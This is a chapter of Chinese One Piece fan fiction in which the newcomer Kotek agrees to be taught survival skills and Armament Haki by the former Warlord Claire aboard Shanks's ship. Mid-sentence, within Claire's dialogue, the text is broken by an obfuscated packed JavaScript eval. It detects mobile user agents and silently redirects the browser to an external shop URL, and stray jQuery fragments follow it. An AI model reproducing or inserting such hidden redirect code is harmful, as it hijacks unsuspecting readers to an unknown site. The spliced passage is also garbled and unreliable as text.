等等,这人怎么回事?!

    科特克脑子里嗡嗡作响,刚刚还一副和诺特斯特如出一辙、看乐子不嫌事大、差点把她和香克斯编排出一部海贼强取豪夺虐恋小说的模样,现在怎么就蹲在她面前,用这种堪称“和蔼可亲”、“循循善诱”的温柔又友善语气,说要教她保命技巧和武装色霸气…之类的?!

    这态度转变也太快太突兀太犯规了吧?!难道这就是传说中的“海贼式变脸”?还是说这位前七武海的脑回路也继承了洛克斯时代老前辈们的跳脱特性,思考方式如同新世界的天气一般变幻莫测?

    然而,当科特克因为克莱尔突然的靠近和姿态变化,被迫从自怨自艾的角落里抬起眼,真正聚焦于眼前这个蹲着的男人时,她原本满腹的吐槽和戒备,却奇异地停滞了一瞬。

    他并非是香克斯那种仿佛汇聚了阳光与海风、耀眼到让人不敢直视的爽朗俊美,也并非是贝克曼那种沉稳内敛、智慧深藏、令人下意识感到安心的可靠类型。克莱尔身上带着的,是一种更为…“普通”,却又独属于真正航行于伟大航路的男儿的气息。

    那是海风和阳光长久浸润后留下的随性与洒脱,是经历了足够风雨见识了足够广阔世界后,沉淀出的某种开阔与平和。他的笑容爽朗却不刺眼,看着她的眼神清澈温和,里面带着点对她之前“壮举”残留的笑意,但更多的是一种…

    科特克眨了眨眼,试图找到一个准确的形容词——一种近乎“长辈看待需要关照的后辈”,或者说,“经验丰富者看到努力却不得其法的初学者”时,那种混合了了然、些许无奈,以及愿意伸把手的神态。

    这种神态,竟然让科特克有了一瞬间的恍惚。仿佛穿透了四皇座舰的木质甲板、喧嚣的海贼宴会、混杂着酒气的海风,回到了她所熟悉的、那个和平安宁的、人与人之间充斥着普通善意与边界的时代。没有随时可能降临的生命威胁,没有需要时刻揣测的强者心思,只有最平常的、一个看起来挺靠谱的好心人,对某个陷入困境的菜鸟说“我教你点东西吧”。

    荒谬的熟悉感冲击着她。

    而就在这一刻,科特克才再次,无比清晰地意识到——她所面对的,不是手机屏幕上滚动的、被既定剧情框定的文字描述,不是可以随意点赞吐槽关闭的虚拟角色。他们是真实的,有血有肉,在漫长岁月和复杂经历中塑造了独特灵魂,做出了自己的选择,坚定或徘徊地走在自己道路上的……活生生的人。

    他们的性格并非标签,而是无数选择堆积出的立体多面。就像此刻的克莱尔,几分钟前还能兴致勃勃地和香克斯一起调侃她“是不是被掳来的”,用夸张的笑声把她“对战猛士达觉醒见闻色”的壮举宣扬得全船皆知,让她恨不得跳海自尽;几分钟后,却能收敛起所有戏谑,蹲在她这个弱小无比的“意外来客”面前,眼神认真地提出要教她保命的技巧。

    难怪……那本《伟大航路生存指南》里的主角望远,从来不会简单用“海军”、“海贼”、“革命军”、“七武海”这样的阵营标签去武断地评判或对待一个人。因为人本身就是这样复杂的多面体,每一面映射出的光影都不一样,取决于你从哪个角度,在何时望去。

    香克斯可以是豪爽仗义、看重情义与自由的“四皇”,也可以是为了测试路飞气量而任由近海之王咬断手臂的“赌徒”,还可以是此刻甲板上和伙伴们狂欢大笑、偶尔促狭看戏的宴会主人。

    诺特斯特可以是实力深不可测、恶趣味满满、以观察世间“乐子”为乐的洛克斯时代遗老,也可以是对望远有着复杂隐忍情感、默默给予庇护指引的“前辈”。

    而眼前这位瑞特·克莱尔,“百棍”,前代王下七武海,悬赏金十二亿六千万贝利的大海贼,可以是个热衷看乐子、甚至有点口无遮拦的乐子人,同时……也可以是个会因为看到她弱小努力而心生不忍,主动提出给予指导的、某种意义上相当“友善”且“有原则”的家伙。

    就在此刻,就在雷德·佛斯号被宴会灯火照亮的一角甲板上,咸湿的海风裹挟着朗姆酒香拂过面颊,科特克感觉自己似乎触碰到了那本书中主角望远部分行为逻辑的内核——那并非圣母式的滥好人,而是一种基于对“人”之复杂性的认知,所做出的、更为清醒和自主的选择。

    同时,她对那个名叫“望远”的、与自己同龄的黑发姑娘,产生了更深层次、几乎无法抑制的好奇。

    那个女人……明明年纪和她差不多,甚至拥有更为惨痛黑暗的童年创伤,却硬生生在危机四伏、怪物林立的伟大航路里,杀出了一条属于自己的、堪称耀眼甚至能够影响世界格局的道路。

    她周旋于四皇、海军大将、七武海、革命军、地下世界之间,用知识和力量作为筹码,改变了顶上战争的结局,救下了无数读者意难平的角色。

    她是怎么做到的?

    在那些惊心动魄的谈判、生死一线的战斗、错综复杂的人情往来背后,她是否也曾像此刻的自己一样,有过迷茫、恐惧、对归家的渴望,以及对自身力量的焦虑?

    “好。”

    科特克听见自己的声音响起,带着一点不确定的微颤,但更多的是某种下定决心后的清晰。

    她看到了自己做出的选择,一个在此情此景下,几乎称得上“明智”乃至“幸运”的选择。

    她渴望变强,哪怕只是一点点。她不想永远当一个手无缚鸡之力、需要仰仗他人“人道主义”或“一时兴趣”才能存活下去的累赘。

    她想拥有在这片疯狂大海上至少能够自保、能够顺利逃命的基本能力。如果可能的话……她也想像望远那样,强到足以保护自己在乎的人。

    “很好。”克莱尔咧嘴笑了起来,一口白牙在船舷的灯火下闪闪发亮。他的笑容爽朗而真诚,眼睛里那抹“如释重负”的柔和变得更加明显,仿佛提出教学邀请的他,也在等待着一个肯定的答复。“那么,科特克小姐,接下来一段时间,我会在雷德·佛斯号上指导你。先说好,我教的东西可能有点杂,但肯定都是实用的保命技巧,武装色的觉醒窍门我也会尽力讲解,不过这个更看个人体悟和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509545|202940||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    积累,急不来。”

    紧接着,他很是自然地扭过头,冲着不远处正一边喝酒一边竖着耳朵偷听的香克斯扬声道:“香克斯,不介意我在你的船上蹭住一段日子吧?包教包会,伙食费我可以用劳动抵扣,比如帮拉基·路处理食材,或者陪你的船员们‘切磋’一下棍法?”

    “当然不介意,求之不得!”香克斯哈哈一笑,举起巨大的酒杯朝克莱尔的方向示意了一下,又灌下一大口琥珀色的酒液。他对这种发展显然乐见其成,毕竟船上多一个顶尖战力做客兼免费陪练,还能顺手解决科特克这个“意外来客”的生存能力问题,怎么看都是稳赚不赔的买卖。

    他眨了眨眼睛,红色的发丝随着海风晃动,脸上的笑容变得有些促狭和玩味:“不过,克莱尔,你老实交代——你真不是想借着指导科特克小姐这个光明正大的理由,顺便躲在我的船上,避一避艾鲁兹前辈的‘追魂棍’吗?我刚才可是听得清清楚楚,某人‘截获’了老爷子好不容易钓上来的鱼,还拿到我这儿来‘分享’了。”

    “哈哈哈!看破不说破,朋友还能做!”克莱尔站了起来,动作潇洒地拍了拍膝盖上并不存在的灰尘,顺手抄起旁边甲板上不知道谁放着的半瓶朗姆酒,仰头灌了一大口。

    冰凉的酒液顺着他的嘴角和下颚线滑落,浸湿了一小片衣领,在灯光下闪着微光。他脸上毫无被戳穿的窘迫,反而笑得更加开怀,带着点“你懂我”的狡黠。

    “我抢了他蹲了大半天、眼巴巴望穿海平面才等来的鱼,以我家老爷子的脾气,这会儿估计正拎着他那根‘棍子’,一边念叨着‘不孝子’,一边盘算着是把我扔进无风带喂海王类,还是绑在鱼竿上当新饵呢。”克莱尔耸耸肩,语气轻松得像在说别人的趣事,“在他消气之前,我觉得还是待在四皇的船上比较安全。毕竟,我家老头虽然厉害,但应该还不至于为了条鱼,就直接打上你‘红发’香克斯的座舰要人吧?那也太不给你面子了,对吧?”

    他这话说得理直气壮,甚至带了点小小的算计,逗得周围旁听的海贼们又是一阵哄笑。

    显然,对于“千棍”艾鲁兹那惨绝人寰的钓鱼运气,以及这对父子间“父慈子孝”的日常互动模式,在这片大海上早就是公开的“秘密”和长盛不衰的乐子来源之一。

    科特克听着这段对话,看着克莱尔脸上那副“没错我就是来躲爹的你能拿我怎样”的坦荡表情,又瞥了一眼不远处笑得肩膀直抖的香克斯,忽然觉得,自己未来在雷德·佛斯号上的生活,恐怕绝不会无聊,甚至可能…充满了各种意想不到的“热闹”。

    至于武装色霸气?保命技巧?

    她看着重新将注意力放回她身上、眼神里带着“那我们什么时候开始第一课”询问意味的克莱尔,默默握紧了放在膝盖上的手。

    学!必须学!往死里学!

    至少,下次再有什么莫名其妙的乐子人前辈突然出现,或者需要和猴子进行“尊严之战”的时候,她能有那么一点点…反抗或者逃跑的余地吧?

    大概。